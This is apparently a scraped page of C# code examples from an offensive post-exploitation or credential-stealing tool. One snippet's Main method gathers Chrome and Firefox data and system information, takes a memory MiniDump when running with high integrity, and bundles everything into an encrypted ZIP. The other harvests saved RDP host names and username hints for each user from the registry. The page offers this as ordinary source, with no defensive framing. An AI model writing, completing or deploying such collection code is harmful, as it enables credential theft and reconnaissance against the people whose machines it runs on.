예제 #1
0
 static void Main(string[] args)
 {
     BrowserLocation.ChromeLocation();
     BrowserLocation.FroefoxLocation();
     BasisInfo.BasisInfos();
     if (IsHighIntegrity())
     {
         MiniDump.Minidump();
     }
     EncryptedZIPs.Encrypted(args[0]);
 }
예제 #2
0
 public static void ListSavedRDPConnections()
 {
     string[] SIDs = Registry.Users.GetSubKeyNames();
     foreach (string SID in SIDs)
     {
         if (SID.StartsWith("S-1-5") && !SID.EndsWith("_Classes"))
         {
             string[] subkeys = GetRegSubkeys("HKU", String.Format("{0}\\Software\\Microsoft\\Terminal Server Client\\Servers", SID));
             if (subkeys != null)
             {
                 string sid = ("\r\n\r\n=== Saved RDP Connection Information (" + SID + ") ===");
                 foreach (string host in subkeys)
                 {
                     string username = GetRegValue("HKCU", String.Format("Software\\Microsoft\\Terminal Server Client\\Servers\\{0}", host), "UsernameHint");
                     if (username != "")
                     {
                         string RDPConnections = sid + "\r\n" + username + "\r\n" + host + "\r\n";
                         BasisInfo.TxtWriter(RDPConnections, "SavedRDPConnections");
                     }
                 }
             }
         }
     }
 }